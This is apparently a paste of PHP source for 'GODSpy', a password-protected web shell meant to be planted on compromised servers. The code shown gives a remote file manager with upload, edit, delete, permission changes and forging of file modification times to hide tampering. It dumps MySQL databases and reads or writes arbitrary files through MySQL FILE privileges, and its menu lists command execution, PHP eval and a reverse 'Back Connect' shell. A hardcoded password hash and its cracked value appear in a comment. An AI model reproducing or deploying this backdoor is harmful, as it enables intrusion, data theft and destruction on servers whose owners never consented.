· 10 years ago · Jan 18, 2016, 09:15 PM
1<?php
2
3error_reporting(0);
4
5@set_magic_quotes_runtime(0);
6
7@set_time_limit(0);
8
9@ini_set('max_execution_time',0);
10
11@ini_set('memory_limit','128M');
12
13@ini_set('upload_max_filesize','40M');
14
15define('F_ROOT',str_replace('\\','/',(($cwd = getcwd()) ? $cwd : ($_SERVER['SCRIPT_FILENAME'] ? dirname($_SERVER['SCRIPT_FILENAME']) : '.'))).'/');
16
17define('S_ROOT',str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']));
18
19define('IS_WIN',DIRECTORY_SEPARATOR=='\\');
20
21define('IS_COM',class_exists('COM') ? 1 : 0 );
22
23define('IS_GPC',get_magic_quotes_gpc());
24
25define('IS_PHPINFO', isfunc("phpinfo"));
26
27ob_start();
28
29$timestamp=time();
30
31$mtime = explode(' ',microtime());
32
33$starttime = $mtime[1] + $mtime[0];
34
35$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
36
37if(!empty($_SERVER['QUERY_STRING'])){$self.='?'.$_SERVER['QUERY_STRING'];}
38
39foreach(array('_GET','_POST') as $_request) {
40
41 foreach($$_request as $_key => $_value) {
42
43 if($_key{0} != '_') {
44
45 if(IS_GPC) {$_value=s_array($_value);}
46
47 $$_key = $_value;
48
49 }
50
51 }
52
53}
54
55$admin=array('check' => 1, 'pass' => '8f9b5d8b1d8501b33fc7eb86e6ca15f2','cookiepre' => '','cookiedomain' => '','cookiepath' => '/','cookielife' => 86400);
56
57// Encrypted: 8f9b5d8b1d8501b33fc7eb86e6ca15f2
58
59// Decrypted: MD5 : cojelon
60
61
62
63if($charset == 'utf8') {
64
65header("content-Type: text/html; charset=utf-8");
66
67} elseif($charset == 'latin1') {
68
69header("content-Type: text/html; charset=iso-8859-1");
70
71}
72
73if($haz == "logout") {
74
75 scookie('godssid', '', -86400 * 365);
76
77 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
78
79 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
80
81 exit;
82
83}
84
85if($admin['check']) {
86
87$password = md5($password);
88
89 if($doing == 'login') {
90
91 if($admin['pass'] == $password) {
92
93 scookie('godssid', $password);
94
95 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
96
97 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
98
99 exit;
100
101 }
102
103 }
104
105 if($_COOKIE['godssid']) {
106
107 if($_COOKIE['godssid'] != $admin['pass']) loginpage();
108
109 } else loginpage();
110
111}
112
113$errmsg='';
114
115if($haz=='phpinfo') {
116
117 if(IS_PHPINFO) {phpinfo();die('<h1 style="text-align:center"><a href="'.$self.'">Back to GodSpy</a></h1>');}else{$errmsg='phpinfo() function disabled';}
118
119}
120
121if($doing == 'downfile' && $thefile) {
122
123 if(!@file_exists($thefile)) {
124
125 $errmsg = 'The file you want to Download not exist';
126
127 } else {
128
129 $fileinfo = pathinfo($thefile);
130
131 header('Content-type: application/x-'.$fileinfo['extension']);
132
133 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
134
135 header('Content-Length: '.filesize($thefile));
136
137 @readfile($thefile);
138
139 exit;
140
141 }
142
143}
144
145if($doing=='backupmysql' && !$saveasfile) {
146
147 $lnk=dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
148
149 $table = array_flip($table);
150
151 $result = q("SHOW tables");
152
153 if(!$result) p('<h2>'.mysql_error().'</h2>');
154
155 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
156
157 header('Content-type: application/unknown');
158
159 header('Content-Disposition: attachment; filename='.$filename);
160
161 $mysqldata = '';
162
163 while ($currow = mysql_fetch_array($result)) {
164
165 if(isset($table[$currow[0]])) {
166
167 $mysqldata .= sqldumptable($currow[0]);
168
169 }
170
171 }
172
173 mysql_close($lnk);
174
175 exit;
176
177}
178
179if($doing=='mysqldown'){
180
181 if(!$dbname) {
182
183 $errmsg = 'Please input dbname';
184
185 } else {
186
187 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
188
189 if(!file_exists($mysqldlfile)) {
190
191 $errmsg = 'The file you want Downloadable was nonexistent';
192
193 } else {
194
195 $result = q("select load_file('$mysqldlfile');");
196
197 if(!$result){
198
199 q("DROP TABLE IF EXISTS tmp_god;");
200
201 q("CREATE TABLE tmp_god (content LONGBLOB NOT NULL);");
202
203 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_god FIELDS TERMINATED BY '__god_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__god_{$timestamp}_eof__';");
204
205 $result = q("select content from tmp_god");
206
207 q("DROP TABLE tmp_god");
208
209 }
210
211 $row = @mysql_fetch_array($result);
212
213 if(!$row) {
214
215 $errmsg = 'Load file failed '.mysql_error();
216
217 } else {
218
219 $fileinfo = pathinfo($mysqldlfile);
220
221 header('Content-type: application/x-'.$fileinfo['extension']);
222
223 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
224
225 header("Accept-Length: ".strlen($row[0]));
226
227 echo $row[0];
228
229 exit;
230
231 }
232
233 }
234
235 }
236
237}
238
239?>
240
241<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
242
243
244
245<html xmlns="http://www.w3.org/1999/xhtml">
246
247<head>
248
249<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
250
251<meta name="robots" content="noindex, nofollow, noarchive" />
252
253<title><?php echo $_SERVER['HTTP_HOST'];?> | GODSpy</title>
254
255<style type="text/css">
256
257body{margin:0;table-layout:fixed;word-break:break-all;}
258
259body,td,.input,.bt{font:12px Arial,Tahoma;}
260
261body,td{line-height:16px;}
262
263.input{line-height:22px;}
264
265.input,.area{background:#fff;border:1px solid #666;padding:2px;}
266
267.area{font:12px Consolas, 'Courier New', Monospace;}
268
269.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;height:22px;}
270
271a {color:#00f;text-decoration:underline;}
272
273a:hover{color:#f00;text-decoration:none;}
274
275.w{color:green;font-weight:bold;}
276
277.r{color:red;}
278
279.alt1 td, .alt2 td, .focus td, .head td {border-top:1px solid #fff;border-bottom:1px solid #ddd;padding:5px 10px 5px 5px;}
280
281.alt1 td{background:#f1f1f1;}
282
283.alt2 td{background:#f9f9f9;}
284
285.focus td{background:#ffa;}
286
287.head td{background:#e9e9e9;font-weight:bold;}
288
289.head td span{font-weight:normal;}
290
291form, h2{margin:0;padding:0;}
292
293h2{height:24px;line-height:24px;font-size:14px;color:#5B686F;}
294
295ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
296
297u{text-decoration:none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
298
299.e,.m {padding:10px;text-align:center;font-weight:bold;}
300
301.e {background:#FFC;border:1px solid #F30;}
302
303.m {background:#CF9;border:1px solid #0C3;}
304
305.nw{white-space:nowrap;}
306
307</style>
308
309<script type="text/javascript"><!--
310
311function CheckAll(form) {
312
313for(var i=0;i<form.elements.length;i++) {
314
315 var e = form.elements[i];
316
317 if(e.name != 'chkall')
318
319 e.checked = form.chkall.checked;
320
321 }
322
323}
324
325function $(id){return document.getElementById(id);}
326
327function gohaz(act){
328
329$('gohaz').haz.value=act;
330
331$('gohaz').submit();
332
333}
334
335//--></script>
336
337</head>
338
339<body>
340
341<table width="100%" border="0" cellpadding="0" cellspacing="0">
342
343<tr class="head">
344
345 <td><span style="float:right;"><b>GODSpy Ver: <?php echo date('Y');?></b></span>Your IP: <?php echo $_SERVER['REMOTE_ADDR'] . ' | Server Data: ' .$_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
346
347
348
349</tr>
350
351<tr class="alt1">
352
353 <td><span style="float:right;">Safe Mode: <?php echo getcfg('safe_mode');?></span>
354
355 <a href="javascript:gohaz('logout');">Logout</a> | <a href="javascript:gohaz('file');">File Manager</a> |
356
357 <a href="javascript:gohaz('sqladmin');">MySQL Manager</a> | <a href="javascript:gohaz('sqlf');">MySQL Upload & Download</a> |
358
359 <a href="javascript:gohaz('sh');">Execute Command</a> | <a href="javascript:gohaz('env');">PHP Variable</a> |
360
361 <a href="javascript:gohaz('evl');">Eval PHP Code</a><?php if(!IS_WIN) {?> | <a href="javascript:gohaz('bconx');">Back Connect</a><?php }?>
362
363
364
365 </td>
366
367</tr>
368
369</table>
370
371<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
372
373<?php
374
375formhead(array('name'=>'gohaz'));
376
377makehide('haz');
378
379p('</form>');
380
381$errmsg && m($errmsg,'e');
382
383!$dir && $dir = '.';
384
385$nowpath = getPath(F_ROOT, $dir);
386
387if(substr($dir, -1) != '/') {
388
389 $dir = $dir.'/';
390
391}
392
393$uedir = ue($dir);
394
395if(!$haz || $haz == 'file') {
396
397 $dir_writeable = @is_writable($nowpath) ? '<span class="w">Writable</span>' : '<span class="r">Non-writable</span>';
398
399 if($doing == 'deldir' && $thefile) {
400
401 if(!file_exists($thefile)) m("$thefile directory does not exist",'e');
402
403 elseif(deltree($thefile)) m('Directory '.basename($thefile).' delete success');
404
405 else m('Directory '.basename($thefile).' delete failed','e');
406
407 }elseif($doing == 'delf' && $thefile) {
408
409 if(!file_exists($thefile)) m("$thefile does not exist",'e');
410
411 elseif(@unlink($thefile)) m("The File <em>$thefile</em> has been deleted");
412
413 else m("File <em>$thefile</em> delete failed",'e');
414
415 }
416
417 elseif($newdirname) {
418
419 $mkdirs = $nowpath.$newdirname;
420
421 if(file_exists($mkdirs)) m("Directory $newdirname has already exists",'e');
422
423 elseif(@mkdir($mkdirs,0777)) {@chmod($mkdirs,0777);m("Directory $newdirname created success");}
424
425 else m("Directory $newdirname creation failed",'e');
426
427 }
428
429 elseif($doupfile) {
430
431 if(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name'])) m('File upload success');
432
433 else m('File upload failed','e');
434
435 }
436
437 elseif($editfilename && $filecontent) {
438
439 if(sv_file($editfilename, $filecontent)) m("Save file success");
440
441 else m('Save file failed','e');
442
443 }
444
445 elseif($pfile && $newperm) {
446
447 if(!file_exists($pfile)) m('The original file does not exist','e');
448
449 else {
450
451 $newperm = base_convert($newperm,8,10);
452
453 if(@chmod($pfile,$newperm)) m('Modify file attributes success');
454
455 else m('Modify file attributes failed','e');
456
457 }
458
459 }
460
461 elseif($oldname && $newfilename) {
462
463 $nname = $nowpath.$newfilename;
464
465 if(file_exists($nname) || !file_exists($oldname)) m($nname.' has already existed or original file does not exist','e');
466
467 else m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : '<i class="r">failed</i>'));
468
469 }
470
471 elseif($sname && $tofile) {
472
473 if(file_exists($tofile) || !file_exists($sname)) m('The goal file has already existed or original file does not exist','e');
474
475 elseif(@copy($sname,$tofile)) m(basename($tofile).' copied '.basename($tofile).' success');
476
477 else m(basename($tofile).' copied failed','e');
478
479 }
480
481 elseif($curfile && $tarfile) {
482
483 $time = @filemtime($tarfile);
484
485 if(!@file_exists($curfile) || !@file_exists($tarfile)) m('The goal file has already existed or original file does not exist','e');
486
487 elseif(@touch($curfile,$time,$time)) m('Modify file the last modified success');
488
489 else m('Modify file the last modified failed','e');
490
491 }
492
493 elseif($curfile && $year && $month && $day && $hour && $minute && $second) {
494
495 $time = strtotime("$year-$month-$day $hour:$minute:$second");
496
497 if(!@file_exists($curfile)) m(basename($curfile).' does not exist','e');
498
499 elseif(@touch($curfile,$time,$time)) m('Modify file the last modified success');
500
501 else m('Modify file the last modified failed');
502
503 }
504
505 elseif($doing == 'downrar') {
506
507 if($dl) {
508
509 $dfiles='';
510
511 foreach ($dl as $filepath => $value) {
512
513 $dfiles.=$filepath.',';
514
515 }
516
517 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
518
519 $dl=explode(',',$dfiles);
520
521 $zip=new PHPZip($dl);
522
523 $code=$zip->out;
524
525 header('Content-type: application/octet-stream');
526
527 header('Accept-Ranges: bytes');
528
529 header('Accept-Length: '.strlen($code));
530
531 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
532
533 echo $code;
534
535 exit;
536
537 } else {
538
539 m('Please select file(s)','e');
540
541 }
542
543 }
544
545 elseif($doing=='delfiles') {
546
547 if($dl) {
548
549 $dfiles='';
550
551 $succ = $fail = 0;
552
553 foreach ($dl as $filepath => $value) {
554
555 if(@unlink($filepath)) {
556
557 $succ++;
558
559 } else {
560
561 $fail++;
562
563 }
564
565 }
566
567 m('Deleting '.count($dl).' files: <span class="w">success '.$succ.'</span> - <span class="r">fail '.$fail.'</span>','e');
568
569 } else {
570
571 m('Please select a file(s)','e');
572
573 }
574
575 }
576
577 formhead(array('name'=>'createdir'));
578
579 makehide('newdirname');
580
581 makehide('dir',$nowpath);
582
583 p('</form>');
584
585 formhead(array('name'=>'fileperm'));
586
587 makehide('newperm');
588
589 makehide('pfile');
590
591 makehide('dir',$nowpath);
592
593 p('</form>');
594
595 formhead(array('name'=>'copyfile'));
596
597 makehide('sname');
598
599 makehide('tofile');
600
601 makehide('dir',$nowpath);
602
603 p('</form>');
604
605 formhead(array('name'=>'rename'));
606
607 makehide('oldname');
608
609 makehide('newfilename');
610
611 makehide('dir',$nowpath);
612
613 p('</form>');
614
615 formhead(array('name'=>'fileopform'));
616
617 makehide('haz');
618
619 makehide('opfile');
620
621 makehide('dir');
622
623 p('</form>');
624
625 $free = @disk_free_space($nowpath);
626
627 !$free && $free = 0;
628
629 $all = @disk_total_space($nowpath);
630
631 !$all && $all = 0;
632
633 $used = $all-$free;
634
635 $used_percent = @round(100/($all/$free),2);
636
637 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
638
639?>
640
641
642
643<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
644
645 <form action="" method="post" id="godir" name="godir">
646
647 <tr>
648
649 <td class="nw">Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
650
651 <td width="100%"><input name="view_writable" value="0" type="hidden" />
652
653 <input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;" /></td>
654
655 <td class="nw"><input class="bt" value="GO" type="submit" /></td>
656
657 </tr>
658
659
660
661 </form>
662
663</table>
664
665<script type="text/javascript">
666
667okdir = 'Are you sure to delete this directory?\n\nIf non-empty directory, will be delete all the files.';
668
669okfil = 'Are you sure to delete this file?';
670
671function createdir(){
672
673 var newdirname;
674
675 newdirname = prompt('Please input the directory name:', '');
676
677 if(!newdirname) return;
678
679 $('createdir').newdirname.value=newdirname;
680
681 $('createdir').submit();
682
683}
684
685function fileperm(pfile){
686
687 var newperm;
688
689 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
690
691 if(!newperm) return;
692
693 $('fileperm').newperm.value=newperm;
694
695 $('fileperm').pfile.value=pfile;
696
697 $('fileperm').submit();
698
699}
700
701function copyfile(sname){
702
703 var tofile;
704
705 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
706
707 if(!tofile) return;
708
709 $('copyfile').tofile.value=tofile;
710
711 $('copyfile').sname.value=sname;
712
713 $('copyfile').submit();
714
715}
716
717function rename(oldname){
718
719 var newfilename;
720
721 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
722
723 if(!newfilename) return;
724
725 $('rename').newfilename.value=newfilename;
726
727 $('rename').oldname.value=oldname;
728
729 $('rename').submit();
730
731}
732
733function dofile(doing,thefile,m) {
734
735 if(m && !confirm(m)) {return;}
736
737 $('filelist').doing.value=doing;
738
739 if(thefile){
740
741 $('filelist').thefile.value=thefile;
742
743 }
744
745 $('filelist').submit();
746
747}
748
749function createfile(nowpath){
750
751 var filename;
752
753 filename = prompt('Please input the file name:', '');
754
755 if(!filename) return;
756
757 opfile('editfile',nowpath + filename,nowpath);
758
759}
760
761function opfile(haz,opfile,dir){
762
763 $('fileopform').haz.value=haz;
764
765 $('fileopform').opfile.value=opfile;
766
767 $('fileopform').dir.value=dir;
768
769 $('fileopform').submit();
770
771}
772
773function godir(dir,view_writable){
774
775 if(view_writable) {
776
777 $('godir').view_writable.value=1;
778
779 }
780
781 $('godir').dir.value=dir;
782
783 $('godir').submit();
784
785}
786
787</script>
788
789<?php
790
791 tbhead();
792
793 p('<form action="'.$self.'" method="post" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
794
795 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
796
797 p('<a href="javascript:godir(\''.S_ROOT.'\');">WebRoot</a>');
798
799 if($view_writable) {
800
801 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
802
803 } else {
804
805 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
806
807 }
808
809 p(' | <a href="javascript:createdir();">Make Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Make File</a>');
810
811 if(IS_WIN && IS_COM) {
812
813 $obj = new COM('scripting.filesystemobject');
814
815 if($obj && is_object($obj)) {
816
817 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
818
819 foreach($obj->Drives as $drive) {
820
821 if($drive->DriveType == 2) {
822
823 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
824
825 } else {
826
827 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
828
829 }
830
831 }
832
833 }
834
835 }
836
837 p('</td></tr></form>');
838
839 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / User</td><td width="22%">Action</td></tr>');
840
841 $dirdata=array();
842
843 $filedata=array();
844
845 if($view_writable) {
846
847 $dirdata = GetList($nowpath);
848
849 } else {
850
851 $dirs=@opendir($dir);
852
853 while ($file=@readdir($dirs)) {
854
855 $filepath=$nowpath.$file;
856
857 if(@is_dir($filepath)){
858
859 $dirdb['filename']=$file;
860
861 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
862
863 $dirdb['dirchmod']=getChmod($filepath);
864
865 $dirdb['dirperm']=getPerms($filepath);
866
867 $dirdb['fileowner']=getUser($filepath);
868
869 $dirdb['dirlink']=$nowpath;
870
871 $dirdb['server_link']=$filepath;
872
873 $dirdb['client_link']=ue($filepath);
874
875 $dirdata[]=$dirdb;
876
877 } else {
878
879 $filedb['filename']=$file;
880
881 $filedb['size']=sizecount(@filesize($filepath));
882
883 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
884
885 $filedb['filechmod']=getChmod($filepath);
886
887 $filedb['fileperm']=getPerms($filepath);
888
889 $filedb['fileowner']=getUser($filepath);
890
891 $filedb['dirlink']=$nowpath;
892
893 $filedb['server_link']=$filepath;
894
895 $filedb['client_link']=ue($filepath);
896
897 $filedata[]=$filedb;
898
899 }
900
901 }
902
903 unset($dirdb);
904
905 unset($filedb);
906
907 @closedir($dirs);
908
909 }
910
911 @sort($dirdata);
912
913 @sort($filedata);
914
915 $dir_i = '0';
916
917 foreach($dirdata as $key => $dirdb){
918
919 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
920
921 $tbg = bg();
922
923 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
924
925 p('<td width="2%" class="nw"> </td>');
926
927 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
928
929 p('<td class="nw">'.$dirdb['mtime'].'</td>');
930
931 p('<td class="nw">--</td>');
932
933 p('<td class="nw">');
934
935 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].' / '.$dirdb['dirperm'].'</a>');
936
937 p($dirdb['fileowner'].'</td>');
938
939 p('<td class="nw"><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',okdir)">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
940
941 p('</tr>');
942
943 $dir_i++;
944
945 } else {
946
947 if($dirdb['filename']=='..') {
948
949 p('<tr class="'.bg().'">');
950
951 p('<td align="center"><font face="Wingdings 3" size=4>UP</font></td><td class="nw" colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
952
953 p('</tr>');
954
955 }
956
957 }
958
959 }
960
961 p('<tr><td style="background:#555;height:3px;" colspan="6"> </td></tr>');
962
963 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
964
965 makehide('haz','file');
966
967 makehide('thefile');
968
969 makehide('doing');
970
971 makehide('dir',$nowpath);
972
973 $file_i = '0';
974
975 foreach($filedata as $key => $filedb){
976
977 if($filedb['filename']!='..' && $filedb['filename']!='.') {
978
979 $fileurl = str_replace(S_ROOT,'',$filedb['server_link']);
980
981 $thisbg = bg();
982
983 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
984
985 p('<td width="2%" class="nw"><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']" /></td>');
986
987 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
988
989 p('<td class="nw">'.$filedb['mtime'].'</td>');
990
991 p('<td class="nw">'.$filedb['size'].'</td>');
992
993 p('<td class="nw">');
994
995 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].' / '.$filedb['fileperm'].'</a>');
996
997 p($filedb['fileowner'].'</td>');
998
999 p('<td class="nw">');
1000
1001 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1002
1003 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1004
1005 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1006
1007 p('<a href="javascript:dofile(\'delf\',\''.$filedb['server_link'].'\', okfil)" title="Delete">Del</a> | <a href="javascript:rename(\''.$filedb['server_link'].'\');" title="Rename">Ren</a> | ');
1008
1009 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
1010
1011 p('</td></tr>');
1012
1013 $file_i++;
1014
1015 }
1016
1017 }
1018
1019 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1020
1021 p('</form></table>');
1022
1023}
1024
1025elseif($haz == 'sqlf') {
1026
1027 if($doing=="mysqlupload"){
1028
1029 $file = $_FILES['uploadfile'];
1030
1031 $filename = $file['tmp_name'];
1032
1033 if(file_exists($savepath)) {
1034
1035 m('The goal file has already existed');
1036
1037 } else {
1038
1039 if(!$filename) {
1040
1041 m('Please choose a file');
1042
1043 } else {
1044
1045 $fp=@fopen($filename,'r');
1046
1047 $contents=@fread($fp, filesize($filename));
1048
1049 @fclose($fp);
1050
1051 $contents = bin2hex($contents);
1052
1053 if(!$upname) $upname = $file['name'];
1054
1055 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1056
1057 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1058
1059 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1060
1061 }
1062
1063 }
1064
1065 }
1066
1067?>
1068
1069
1070
1071<script type="text/javascript">
1072
1073function mysqlfile(doing){
1074
1075 if(!doing) return;
1076
1077 $('doing').value=doing;
1078
1079 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1080
1081 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1082
1083 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1084
1085 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1086
1087 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1088
1089 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1090
1091 $('mysqlfile').submit();
1092
1093}
1094
1095</script>
1096
1097<?php
1098
1099 !$dbhost && $dbhost = 'localhost';
1100
1101 !$dbuser && $dbuser = 'root';
1102
1103 !$dbport && $dbport = '3306';
1104
1105 $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
1106
1107 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1108
1109 makehide('haz','sqlf');
1110
1111 p('<p>');
1112
1113 p('DBHost:');
1114
1115 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1116
1117 p(':');
1118
1119 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1120
1121 p('DBUser:');
1122
1123 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1124
1125 p('DBPass:');
1126
1127 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1128
1129 p('DBName:');
1130
1131 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1132
1133 p('DBCharset:');
1134
1135 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1136
1137 p("</p>\n</form>");
1138
1139 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" id="mysqlfile">');
1140
1141 p('<h2>Upload file</h2>');
1142
1143 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1144
1145 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1146
1147 p('<h2>Download file</h2>');
1148
1149 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1150
1151 makehide('dbhost');
1152
1153 makehide('dbport');
1154
1155 makehide('dbuser');
1156
1157 makehide('dbpass');
1158
1159 makehide('dbname');
1160
1161 makehide('charset');
1162
1163 makehide('doing');
1164
1165 makehide('haz','sqlf');
1166
1167 p('</form>');
1168
1169}
1170
1171elseif($haz=='sqladmin') {
1172
1173 !$dbhost && $dbhost = 'localhost';
1174
1175 !$dbuser && $dbuser = 'root';
1176
1177 !$dbport && $dbport = '3306';
1178
1179 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1180
1181 if(isset($dbhost)){
1182
1183 $dbform .= '<input type="hidden" id="dbhost" name="dbhost" value="'.$dbhost.'" />'."\n";
1184
1185 }
1186
1187 if(isset($dbuser)) {
1188
1189 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1190
1191 }
1192
1193 if(isset($dbpass)) {
1194
1195 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1196
1197 }
1198
1199 if(isset($dbport)) {
1200
1201 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1202
1203 }
1204
1205 if(isset($dbname)) {
1206
1207 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1208
1209 }
1210
1211 if(isset($charset)) {
1212
1213 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1214
1215 }
1216
1217 if($doing == 'backupmysql' && $saveasfile) {
1218
1219 if(!$table) {
1220
1221 m('Please choose the table','e');
1222
1223 } else {
1224
1225 $lnk=dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1226
1227 $table = array_flip($table);
1228
1229 $fp = @fopen($path,'w');
1230
1231 if($fp) {
1232
1233 $result = q('SHOW tables');
1234
1235 if(!$result) p('<h2>'.mysql_error().'</h2>');
1236
1237 $mysqldata = '';
1238
1239 while($currow = mysql_fetch_array($result)) {
1240
1241 if(isset($table[$currow[0]])) {
1242
1243 sqldumptable($currow[0], $fp);
1244
1245 }
1246
1247 }
1248
1249 fclose($fp);
1250
1251 $fileurl = str_replace(F_ROOT,'',$path);
1252
1253 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1254
1255 mysql_close($lnk);
1256
1257 } else {
1258
1259 m('Backup failed','e');
1260
1261 }
1262
1263 }
1264
1265 }
1266
1267 if($insert && $insertsql) {
1268
1269 $keystr = $valstr = $tmp = '';
1270
1271 foreach($insertsql as $key => $val) {
1272
1273 if($val) {
1274
1275 $keystr .= $tmp.$key;
1276
1277 $valstr .= $tmp."'".addslashes($val)."'";
1278
1279 $tmp = ',';
1280
1281 }
1282
1283 }
1284
1285 if($keystr && $valstr) {
1286
1287 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1288
1289 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1290
1291 }
1292
1293 }
1294
